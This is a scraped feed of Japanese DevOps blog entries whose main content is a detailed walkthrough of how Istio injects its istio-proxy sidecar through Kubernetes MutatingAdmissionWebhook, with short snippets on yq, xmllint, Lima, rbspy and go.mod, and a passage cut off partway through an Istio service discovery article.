に読むこませると良いみたい(他にいい方法があれば教えてほしいです)。 YQ_INPLACE=\\".${EXE_APP}.image.tag = \\\\\\"${TAG_HASH}\\\\\\"\\" yq -i \\"${YQ_INPLACE}\\" \\"$CHANGE_FILE\\"おわりv3 -> v4 には変更点がいくつかあります。皆さんもCIで使っている時は気をつけましょう。あとはCI で書き換えで使っている時は-vを使っておきましょう。1日1問、半年以内に習得　シェル・ワンライナー160本ノック Software Design plus作者:上田 隆一,山田 泰宏,田代 勝也,中村 壮一,今泉 光之,上杉 尚史技術評論社Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/01/17/011521","isoDate":"2023-01-16T16:15:21.000Z","dateMiliSeconds":1673885721000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【Istio⛵️】Istioのサービスメッシュとサイドカーインジェクションの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️代表的なサービスメッシュの種類についてIstioのサイドカーインジェクションの仕組みについてこの記事から得られる知識01. はじめに02. サイドカーによるサービスメッシュなぜサイドカーが必要なのかサイドカープロキシメッシュ03. admission-controllersアドオンについてadmission-controllersアドオンとはadmissionプラグインの種類MutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはAdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReview▼ AdmissionRequest▼ AdmissionResponse04. サイドカーインジェクションの仕組み全体のフロークライアント ➡︎ kube-apiserverここで説明するフロー箇所(1) Podの作成をリクエストkube-apiserver ➡︎ Serviceここで説明するフロー箇所(2) 認証/認可処理をコール(3) アドオンの処理をコール(4) AdmissionRequestに値を詰める(5) AdmissionReviewを送信Service ➡︎ webhookサーバーここで説明するフロー箇所(6) 15017番ポートにポートフォワーディングkube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所(7) patch処理を定義(8) AdmissionResponseに値を詰める(9) AdmissionReviewを返信kube-apiserver ➡︎ etcdここで説明するフロー箇所(10) patch処理をコール(11) マニフェストを永続化クライアント ⬅︎ kube-apiserverここで説明するフロー箇所(12) コール完了を返信以降の仕組み05. おわりに01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4Fさて、前回の記事の時と同様に、最近の業務でもオンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、サービスメッシュを実装するIstioのサイドカーインジェクションを記事で解説しました。解説するのは、執筆時点 (2023/01/14) 時点で最新の 1.14 系のIstioです。執筆時点 (2023/01/14) では、Istioが実装するサービメッシュには、『サイドカープロキシメッシュ』と『アンビエントメッシュ』があります。サイドカープロキシメッシュの仕組みの軸になっているものは、サイドカーコンテナであるistio-proxyコンテナです。Istioは、KubernetesのPodの作成時に、istio-proxyコンテナをPod内に自動的にインジェクション (注入) しますそれでは、もりもり布教していきます\uD83D\uDE1702. サイドカーによるサービスメッシュなぜサイドカーが必要なのかそもそも、なぜサービスメッシュでサイドカーが必要になったのでしょうか。マイクロサービスアーキテクチャのシステムには、アーキテクチャ固有のインフラ領域の問題 (例：サービスディスカバリーの必要性、マイクロサービス間通信の暗号化、テレメトリー作成、など) があります。アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装すれば、これらの問題の解決できます。しかし、アプリエンジニアはアプリ領域の問題に責務を持ち、インフラ領域の問題はインフラエンジニアで解決するようにした方が、互いに効率的に開発できます。そこで、インフラ領域の問題を解決するロジックをサイドカーとして切り分けます。これにより、アプリエンジニアとインフラエンジニアの責務を分離可能になり、凝集度が高くなります。また、インフラ領域の共通ロジックをサイドカーとして各マイクロサービスに提供できるため、単純性が高まります。こういった流れの中で、サイドカーを使用したサービスメッシュが登場しました。servicemesh.es | Service Mesh ComparisonWhat is Service Mesh and Why is it Necessary?サイドカープロキシメッシュIstioのサイドカーによるサービスメッシュ (サイドカープロキシメッシュ) は、サイドカーコンテナ (istio-proxyコンテナ) が稼働するデータプレーンサイドカーを中央集権的に管理するIstiod (discoveryコンテナ) が稼働するコントロールプレーンからなります。Istio / Architecture03. admission-controllersアドオンについてadmission-controllersアドオンとはIstioのPod内へのサイドカーインジェクションの前提知識として、admission-controllersアドオンを理解する必要があります。もし、admission-controllersアドオンをご存知の方は、 04. サイドカーインジェクションの仕組み まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍kube-apiserverでは、admission-controllersアドオンを有効化できます。有効化すると、認証ステップと認可ステップの後にmutating-admissionステップとvalidating-admissionステップを実行でき、admissionプラグインの種類に応じた処理を挿入できます。クライアント (kubectlクライアント、Kubernetesリソース) からのリクエスト (例：Kubernetesリソースに対する作成/更新/削除、kube-apiserverからのプロキシへの転送) 時に、各ステップでadmissionプラグインによる処理 (例：アドオンビルトイン処理、独自処理) を発火させられます。Admission Controllers Reference | KubernetesKubernetes Best Practices: Blueprints for Building Successful Applications on Kubernetesadmissionプラグインの種類admission-controllersアドオンのadmissionプラグインには、たくさんの種類があります。IstioがPod内にサイドカーをインジェクションする時に使用しているアドオンは、『MutatingAdmissionWebhook』です。CertificateApprovalCertificateSigningCertificateSubjectRestrictionDefaultIngressClassDefaultStorageClassDefaultTolerationSecondsLimitRanger\\"MutatingAdmissionWebhook\\" \uD83D\uDC48 これNamespaceLifecyclePersistentVolumeClaimResizePodSecurityPriorityResourceQuotaRuntimeClassServiceAccountStorageObjectInUseProtectionTaintNodesByConditionValidatingAdmissionWebhookAdmission Controllers Reference | KubernetesMutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはMutatingAdmissionWebhookプラグインを使用すると、mutating-admissionステップ時に、リクエスト内容を変更する処理をフックできます。フックする具体的な処理として、webhookサーバーにAdmissionRequestリクエストとして送信することにより、レスポンスのAdmissionResponseに応じてリクエスト内容を動的に変更します。MutatingWebhookConfigurationで、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を設定します。MutatingWebhookConfigurationの具体的な実装については、サイドカーインジェクションの仕組みの中で説明していきます。Diving into Kubernetes MutatingAdmissionWebhook | by Morven Cao | IBM Cloud | MediumKubernetes Admission Webhook覚書き - gashirar\'s blogAdmission Webhookを作って遊んで、その仕組みを理解しよう（説明編）AdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReviewAdmissionReviewは以下のようなJSONであり、kube-apiserverとwebhookサーバーの間でAdmissionRequestとAdmissionResponseを運びます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": {}, # AdmissionResponse \\"response\\": {},}v1 package - k8s.io/api/admission/v1 - Go Packages▼ AdmissionRequestAdmissionRequestは以下のようなJSONです。kube-apiserverがクライアントから受信した操作内容が持つことがわかります。例で挙げたAdmissionRequestでは、クライアントがDeploymentをCREATE操作するリクエストをkube-apiserverに送信したことがわかります。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"apps\\", \\"version\\": \\"v1\\", \\"resource\\": \\"deployments\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}Dynamic Admission Control | Kubernetes▼ AdmissionResponse一方でAdmissionResponseは、例えば以下のようなJSONです。AdmissionResponseは、マニフェスト変更処理をpatchキーの値に持ち、これはbase64方式でエンコードされています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"\\", # 宛先のwebhookサーバーが受信したか否かを表す。 \\"allowed\\": true, # PathによるPatch処理を行う。 \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"W3sib3AiOiAiYWRkIiwgInBhdGgiOiAiL3NwZWMvcmVwbGljYXMiLCAidmFsdWUiOiAzfV0=\\", },}エンコード値をデコードしてみると、例えば以下のようなpatch処理が定義されています。# patchキーをbase64方式でデコードした場合[{\\"op\\": \\"add\\", \\"path\\": \\"/spec/replicas\\", \\"value\\": 3}]マニフェストに対する操作 (op) 、キー (path) 、値 (value) が設定されています。kube-apiserverがこれを受信すると、指定されたキー (.spec.replicas) に値 (3) に追加します。Dynamic Admission Control | Kubernetes04. サイドカーインジェクションの仕組み全体のフロー前提知識を踏まえた上で、admission-controllersアドオンの仕組みの中で、サイドカーのistio-proxyコンテナがどのようにPodにインジェクションされるのかを見ていきましょう。最初に、サイドカーインジェクションのフローは以下の通りになっています。(画像はタブ開き閲覧を推奨)Istio in Action (English Edition)クライアント ➡︎ kube-apiserverここで説明するフロー箇所『クライアント ➡︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(1) Podの作成をリクエストまずは、クライアントがkube-apiserverにリクエストを送信するところです。クライアント (Deployment、DaemonSet、StatefulSet、を含む) は、Podの作成リクエストをkube-apiserverに送信します。この時のリクエスト内容は、以下の通りとします。# Podを作成する。$ kubectl apply -f foo-pod.yaml# foo-pod.yamlファイルapiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80またNamespaceでは、あらかじめistio-proxyコンテナのインジェクションが有効化されているとします。Istioではv1.10以降、リビジョンの番号のエイリアスを使用して、istio-proxyコンテナのインジェクションを有効化するようになりました。apiVersion: v1kind: Namespacemetadata: name: foo-namespace labels: # istio-proxyコンテナのインジェクションを有効化する。 # エイリアスは自由 istio.io/rev: <エイリアス>Istio / Announcing Support for 1.8 to 1.10 Direct Upgradesistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableなどを使用します\uD83D\uDC4Dkube-apiserver ➡︎ Serviceここで説明するフロー箇所『kube-apiserver ➡︎ Service』の箇所を説明します。(画像はタブ開き閲覧を推奨)(2) 認証/認可処理をコールkube-apiserverは、認証ステップと認可ステップにて、クライアントからのリクエストを許可します。(3) アドオンの処理をコールkube-apiserverは、mutating-admissionステップにて、MutatingAdmissionWebhookプラグインの処理をコールします。前提知識の部分で具体的な実装を省略しましたが、Istioのバージョン1.14.3時点で、MutatingWebhookConfigurationは以下のようになっています。Namespaceでサイドカーインジェクションを有効化する時に使用したエイリアスは、このMutatingWebhookConfigurationで実体のリビジョン番号と紐づいています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yamlapiVersion: admissionregistration.k8s.io/v1beta1kind: MutatingWebhookConfigurationmetadata: name: istio-revision-tag-default labels: app: sidecar-injector # エイリアスの実体 istio.io/rev: <リビジョン番号> # リビジョン番号のエイリアス istio.io/tag: <エイリアス>webhooks: - name: rev.namespace.sidecar-injector.istio.io # MutatingAdmissionWebhookプラグインの処理の発火条件を登録する。 rules: - apiGroups: [\\"\\"] apiVersions: [\\"v1\\"] operations: [\\"CREATE\\"] resources: [\\"pods\\"] scope: \\"*\\" # Webhookの前段にあるServiceの情報を登録する。 clientConfig: service: name: istiod-<リビジョン番号> namespace: istio-system path: \\"/inject\\" # エンドポイント port: 443 caBundle: Ci0tLS0tQk ... # Namespace単位のサイドカーインジェクション # 特定のNamespaceでMutatingAdmissionWebhookプラグインの処理を発火させる。 namespaceSelector: matchExpressions: - key: istio.io/rev operator: DoesNotExist - key: istio-injection operator: DoesNotExist # Pod単位のサイドカーインジェクション # 特定のオブジェクトでMutatingAdmissionWebhookプラグインの処理を発火させる。 objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - \\"false\\" - key: istio.io/rev operator: In values: - <エイリアス> ...MutatingWebhookConfigurationには、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を定義します。MutatingAdmissionWebhookプラグインの発火条件に関して、例えばIstioでは、 NamespaceやPod.metadata.labelsキーに応じてサイドカーインジェクションの有効化/無効化を切り替えることができ、これをMutatingAdmissionWebhookプラグインで制御しています。webhookサーバーの宛先情報に関して、Istioではwebhookサーバーの前段にServiceを配置しています。MutatingAdmissionWebhookプラグインが発火した場合、Serviceの/inject:443にHTTPSプロトコルのリクエストを送信するようになっています。また、宛先のServiceの名前がistiod-<リビジョン番号>となっていることからもわかるように、Serviceは特定のバージョンのIstiodコントロールプレーンに対応しており、想定外のバージョンのIstiodコントロールプレーンを指定しないように制御しています。一方で発火しなかった場合には、以降のAdmissionReviewの処理には進みません。(4) AdmissionRequestに値を詰めるkube-apiserverは、mutating-admissionステップにて、クライアントからのリクエスト内容 (Podの作成リクエスト) をAdmissionReveiew構造体のAdmissionRequestに詰めます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"core\\", \\"version\\": \\"v1\\", \\"resource\\": \\"pods\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}(5) AdmissionReviewを送信kube-apiserverは、mutating-admissionステップにて、Serviceの/inject:443にAdmissionReview構造体を送信します。Service ➡︎ webhookサーバーここで説明するフロー箇所『Service ➡︎ webhookサーバー』の箇所を説明します。(画像はタブ開き閲覧を推奨)(6) 15017番ポートにポートフォワーディングServiceは、/inject:443でリクエストを受信し、discoveryコンテナの15017番ポートにポートフォワーディングします。Istioのバージョン1.14.3時点で、Serviceは以下のようになっています。$ kubectl get svc istiod-service -n istio-system -o yamlapiVersion: v1kind: Servicemetadata: labels: app: istiod name: istiod-<リビジョン番号> namespace: istio-systemspec: type: ClusterIP selector: app: istiod istio.io/rev: <リビジョン番号> ports: - name: grpc-xds port: 15010 protocol: TCP targetPort: 15010 - name: https-dns port: 15012 protocol: TCP targetPort: 15012 # webhookサーバーにポートフォワーディングする。 - name: https-webhook port: 443 protocol: TCP targetPort: 15017 - name: http-monitoring port: 15014 protocol: TCP targetPort: 15014.spec.selector.istio.io/revキーに、ポートフォワーディング先のPodを指定するためのリビジョン番号が設定されており、このPodはdiscoveryコンテナを持ちます。Istioは、discoveryコンテナ内でwebhookサーバーを実行し、15017番ポートでリクエストを待ち受けます。< class=\\"text-box\\">ここで、discoveryコンテナがリクエストを待ち受けているポート番号を見てみると、15017番ポートでリッスンしていることを確認できます\uD83D\uDC4D$ kubectl exec foo-istiod -n istio-system -- netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN 1/pilot-discoverytcp6 0 0 :::15017 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::8080 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15010 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15012 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15014 :::* LISTEN 1/pilot-discoveryistio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubIstio / Application Requirementskube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所『kube-apiserver ⬅︎ Service ⬅︎ webhookサーバー』の箇所を説明します。矢印が逆向きなことに注意してください。(画像はタブ開き閲覧を推奨)(7) patch処理を定義仕組みの中でも、ここは重要な部分です。discoveryコンテナ内のwebhookサーバーは、リクエスト内容を書き換えるためのpatch処理を定義します。webhookサーバーは、マニフェストの.spec.containers[1]パスにistio-proxyキーを追加させるようなpatch処理を定義します。この定義によって、結果的にサイドカーのインジェクションが起こるということになります。[ ... { \\"op\\": \\"add\\", # .spec.initContainers[1] を指定する。 \\"path\\": \\"/spec/initContainers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-init\\", \\"resources\\": { ... } } }, { \\"op\\": \\"add\\", # .spec.containers[1] を指定する。 \\"path\\": \\"/spec/containers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-proxy\\", \\"resources\\": { ... } } } ...]istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubistio/pkg/kube/inject/webhook_test.go at 1.14.3 \xb7 istio/istio \xb7 GitHubこの時、サイドカーのテンプレートに割り当てられた値が、patch処理を内容を決めます。type SidecarTemplateData struct { TypeMeta metav1.TypeMeta DeploymentMeta metav1.ObjectMeta ObjectMeta metav1.ObjectMeta Spec corev1.PodSpec ProxyConfig *meshconfig.ProxyConfig MeshConfig *meshconfig.MeshConfig Values map[string]interface{} Revision string EstimatedConcurrency int ProxyImage string}...istio/pkg/kube/inject/inject.go at 1.14.3 \xb7 istio/istio \xb7 GitHubサイドカーコンテナのistio-proxyコンテナの他に、InitContainerのistio-initコンテナもインジェクション可能にします。このistio-initコンテナは、istio-proxyコンテナを持つPodです。インバウンド/アウトバウンド通信の経路を制御するために、Pod内にiptablesのルールを適用する責務を担っています\uD83D\uDCAA\uD83C\uDFFBIstio Sidecar\'s interception mechanism for traffic - SoByte(8) AdmissionResponseに値を詰めるdiscoveryコンテナ内のwebhookサーバーは、patch処理の定義をAdmissionReveiew構造体のAdmissionResponseに詰めます。patchキーの値に、先ほどのpatch処理の定義をbase64方式でエンコードした文字列が割り当てられています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"*****\\", \\"allowed\\": true, \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"<先ほどのpatch処理の定義をbase64方式でエンコードした文字列>\\", },}istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub(9) AdmissionReviewを返信discoveryコンテナ内のwebhookサーバーは、AdmissionReview構造体をレスポンスとしてkube-apiserverに返信します。kube-apiserver ➡︎ etcdここで説明するフロー箇所『kube-apiserver ➡︎ etcd』の箇所を説明します。(画像はタブ開き閲覧を推奨)(10) patch処理をコールkube-apiserverは、AdmissionReview構造体を受信し、AdmissionResponseに応じてリクエスト内容を書き換えます。patch処理の定義をAdmissionReview構造体から取り出し、クライアントからのリクエスト内容を書き換えます。具体的には、istio-proxyコンテナとistio-initコンテナを作成するために、リクエストしたマニフェストの該当箇所にキーを追加します。apiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80 # kube-apiserverが追加 - name: istio-proxy ... # kube-apiserverが追加 initContainers: - name: istio-init ...(11) マニフェストを永続化kube-apiserverは、etcdにPodのマニフェストを永続化します。クライアント ⬅︎ kube-apiserverここで説明するフロー箇所『クライアント ⬅︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(12) コール完了を返信kube-apiserverは、クライアントにレスポンスを受信します。$ kubectl apply -f foo-pod.yaml# kube-apiserverからレスポンスが返ってくるpod \\"foo-pod\\" created以降の仕組み(画像はタブ開き閲覧を推奨)kube-apiserverは、他のNodeコンポーネント (kube-controlleretcd、kube-scheduler、kubelet、など) と通信し、Podを作成します。このPodのマニフェストは、アプリコンテナの他に、istio-proxyコンテナとistio-initコンテナを持ちます。結果として、サイドカーコンテナのistio-proxyコンテナをインジェクションしたことになります。コンポーネントの通信については、以下の記事が非常に参考になりました\uD83D\uDE47\uD83C\uDFFB‍Kubernetes Master Components: Etcd, API Server, Controller Manager, and Scheduler | by Jorge Acetozi | jorgeacetozi | Medium05. おわりにIstioのサービスメッシュとサイドカーインジェクションの仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。今回登場したMutatingAdmissionWebhookプラグインに関して、私の関わっているプロダクトではIstio以外 (例：CertManager、Prometheus、AWSのaws-eks-vpc-cniアドオン、など) でも使用しています✌️そのため、MutatingAdmissionWebhookプラグインをどのように使っているのかを一度知れば、知識の汎用性が高いと考えています。サイドカーインジェクションはIstioでも基本的な機能であり、もし未体験の方がいらっしゃれば、お手元でサイドカーコンテナが追加されることを確認していただくとよいかもしれません\uD83D\uDC4D","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/01/14/223815","isoDate":"2023-01-14T13:38:15.000Z","dateMiliSeconds":1673703495000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"xmllint で HTML 内の任意の値を取り出す","contentSnippet":"サクッと shell script で HTML の中の何かを取り出したい時があります。 そんな時に使えるのが xmllint. しっかりやるなら python の Beautiful Soup を使ったりしますが、本当に簡単なことを簡単にやりたい場合に xmllint","link":"https://blog.1q77.com/2023/01/xmllint-html-xpath/","isoDate":"2023-01-12T14:40:51.000Z","dateMiliSeconds":1673534451000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"MongoDB Atlas の紹介","contentSnippet":"MongoDB Atlas とは MongoDB Atlas (以下 Atlas という)は、MongoDB Inc.によって作られた MongoDB の DBaaS(DB as a Service) です。 Atlas […]The post MongoDB Atlas の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/mongodb-atlas/","isoDate":"2023-01-11T23:57:02.000Z","dateMiliSeconds":1673481422000,"authorName":"Sreake","authorId":"Sreake"},{"title":"CodeDeploy Agent のバージョンアップを自動化する","contentSnippet":"概要 Auto Scaling Group 内のインスタンスで CodeDeploy を使用する場合、Agent のバージョンアップが手間なので AMI にインストールしない方がよいです。 Systems Manager […]The post CodeDeploy Agent のバージョンアップを自動化する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codedeploy-agent-update/","isoDate":"2023-01-10T01:22:39.000Z","dateMiliSeconds":1673313759000,"authorName":"Sreake","authorId":"Sreake"},{"title":"イェーイ あけまして 2023","contentSnippet":"あいさつ謹んで新春をお祝い申し上げます。旧年中は大変お世話になり、誠にありがとうございました。皆様は、にぎやかに、楽しくお過ごしのことと存じます。旧年は同棲をする、家を締め出される、原因不明の体調不良に陥る、クリスマスに同棲解消決定、転居決定 など、人生の不条理さ否応なしに思い知らされた2022年でした。イェーイ！登壇登壇をいくつかしましたがあまり注目されることはなかった気がします。もう少し有用だと思われる発表を頑張りたいと思います。b.hatena.ne.jpブログいくつかのブログを書いた。たまにはてなブックマークにあがったりなどしました。来年はもう少しブログを書いて量を出していきたいと思いました。b.hatena.ne.jp2022年の振り返り（KPT）Keep技術書籍以外もたくさん読むことができた登壇の目標は達成できた人生ができていたブログの投稿数は目標達成できた人を巻き込んで仕事ができたProblem人生をやった分、手を動かす時間が少なくなってしまった人生でもっと頭を使っていくそこそこ大きな失敗をしてメンタルブレイクしてた時期があり、復旧に時間が掛かった原因不明の体調不良の時間が増えたTry積ん読を減らす人生を推測せず計測する心身の健康(運動して痩せる)ブログを書くさいごに去年からアフィリエイトをブログを載せるようになりました。資本主義への敗北感があります。書籍代の数%にならねーかなって思っているので嫌いになって下さい。2023年も引き続きよろしくお願いします。知らない人からでも、お茶に誘われると喜ぶので誘ってください。2023年の目標は健康と健忘です。ごめん、同級会にはいけません。いま、ジムにいます。あけましておめでとうございます\uD83C\uDF8D⛩ pic.twitter.com/AjjH18g1JC— nwiizo (@nwiizo) 2022年12月31日","link":"https://syu-m-5151.hatenablog.com/entry/2023/01/01/145552","isoDate":"2023-01-01T05:55:52.000Z","dateMiliSeconds":1672552552000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Lima の vmType VZ と virtiofs を試す","contentSnippet":"Lima が version 0.14.0 で QEMU だけではなく macOS の Virtualization.Framework に対応していました。 vmtype という設定項目が増えています。 この新しい Framework では Host のディレクトリをマウントするのに virtiofs が使えるようになっており、","link":"https://blog.1q77.com/2022/12/lima-vz/","isoDate":"2022-12-29T15:49:47.000Z","dateMiliSeconds":1672328987000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"rbspy で ruby の stacktrace を flamegraph にする","contentSnippet":"中身をよく知らない Rails アプリでどこが遅いのかな？と思って rbspy ( github) を試してみたのでメモ。 とりあえず使って flamegraph を書き出してみたんだけどそもそも flamegraph がどういうものなのか分かっ","link":"https://blog.1q77.com/2022/12/rbspy/","isoDate":"2022-12-28T11:26:10.000Z","dateMiliSeconds":1672226770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Professional Cloud Security Engineer の振り返り","contentSnippet":"はじめに2022/12/28 に Google Cloud Certification の１つである、Professional Cloud Security Engineer に合格したので、そち…","link":"https://qiita.com/dirtymosschan/items/2c66eec7919220a4ec06","isoDate":"2022-12-28T08:57:17.000Z","dateMiliSeconds":1672217837000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"go.mod の更新","contentSnippet":"たまに使い捨ての code を書いて放置する程度だと毎回ググってしまうのでメモ。 go.mod の更新は go get や go mod tidy で行うことができる。 go の version を更新 # go.mod 内の go の version は次のようにして go mod tidy","link":"https://blog.1q77.com/2022/12/updage-go-mod/","isoDate":"2022-12-27T03:52:31.000Z","dateMiliSeconds":1672113151000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Istio⛵️】Istioのサービス間通信を実現するサービスディスカバリーの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️サービスディスカバリーの種類についてIstioのサービス間通信を実現するサービスディスカバリーの仕組みについて記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます！ この記事から得られる知識01. はじめに02. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとはなぜサービスディスカバリーが必要なのかサービスディスカバリーの要素サービスディスカバリーのパターンサービスディスカバリーのパターンとはサーバーサイドパターンクライアントサイドパターン03. Istioのサービスディスカバリーの仕組み全体像(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるロードバランシングdiscoveryコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるリクエスト受信04. istio-proxyコンテナ内のEnvoyの仕組み全体像(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー値選択(3) Envoyによるルート値選択(4) Envoyによるクラスター値選択(5) Envoyによるエンドポイント値選択(6) 宛先マイクロサービスへのリクエスト送信EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイントリスナー値▼ 確認方法▼ 結果ルート値▼ 確認方法▼ 結果クラスター値▼ 確認方法▼ 結果エンドポイント値▼ 確認方法▼ 結果Envoyの処理の流れのまとめ(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー値選択(3) Envoyによるルート値選択(4) Envoyによるクラスター値選択(5) Envoyによるクラスター値選択(6) 宛先マイクロサービスへのリクエスト送信05. おわりに謝辞01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F3-shake Advent Calender 2022 最終日の記事です\uD83C\uDF85普段、私は 俺の技術ノート に知見を記録しており、はてなブログはデビュー戦となります。最近の業務で、オンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、Istioのサービス間通信を実現するサービスディスカバリーの仕組みを記事で解説しました。Istioの機能の1つであるサービスディスカバリーは、その仕組みの多くをEnvoyに頼っているため、合わせてEnvoyの仕組みも説明します。それでは、もりもり布教していきます\uD83D\uDE1702. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとは平易な言葉で言い換えると サービス間通信 です。マイクロサービスアーキテクチャでは、マイクロサービスからマイクロサービスにリクエストを送信する場面があります。サービスディスカバリーとは、宛先マイクロサービスの宛先情報 (例：IPアドレス、完全修飾ドメイン名、など) を検出し、送信元マイクロサービスが宛先マイクロサービスにリクエストを継続的に送信可能にする仕組みのことです。なぜサービスディスカバリーが必要なのかそもそも、なぜサービスディスカバリーが必要なのでしょうか。マイクロサービスアーキテクチャでは、システムの信頼性 (定められた条件下で定められた期間にわたり、障害を発生させることなく実行する程度) を担保するために、マイクロサービスのインスタンスの自動スケーリングを採用します。この時、自動スケーリングのスケールアウトでマイクロサービスが増加するたびに、各インスタンスには新しい宛先情報が割り当てられてしまいます。また、マイクロサービスが作り直された場合にも、宛先情報は更新されてしまいます。このように、たとえインスタンスの宛先情報が更新されたとしても、インスタンスへのリクエストに失敗しない仕組みが必要です。サービスディスカバリーの要素サービスディスカバリーの仕組みは、次の要素からなります。名前解決に関しては、DNSベースのサービスディスカバリー (例：CoreDNS + Service + kube-proxyによるサービスディスカバリー) で必要となり、Istioでは使いません。そのため、本記事では言及しないこととします\uD83D\uDE47\uD83C\uDFFB‍ 要素 責務 送信元マイクロサービス リクエストを送信する。 宛先マイクロサービス リクエストを受信する。 サービスレジストリ 宛先マイクロサービスの宛先情報を保管する。 ロードバランサー 宛先マイクロサービスのインスタンスにロードバランシングする。 名前解決 宛先マイクロサービスへのリクエスト送信時に、名前解決可能にする。 サービスディスカバリーのパターンサービスディスカバリーのパターンとはサービスディスカバリーの仕組みにはいくつか種類があります。Istioのサービスディスカバリーは、このうちのサーバーサイドパターンを実装したものになります。サーバーサイドパターン送信元マイクロサービスから、問い合わせとロードバランシングの責務が切り離されています。送信元マイクロサービスは、ロードバランサーにリクエストを送信します。ロードバランサーは、宛先マイクロサービスの宛先をサービスレジストリに問い合わせ、またリクエストをロードバランシングする責務を担っています\uD83D\uDCAA\uD83C\uDFFB(例) Istio、Linkerd、などCloud Native Patterns: Designing change-tolerant software (English Edition)Server-side service discovery 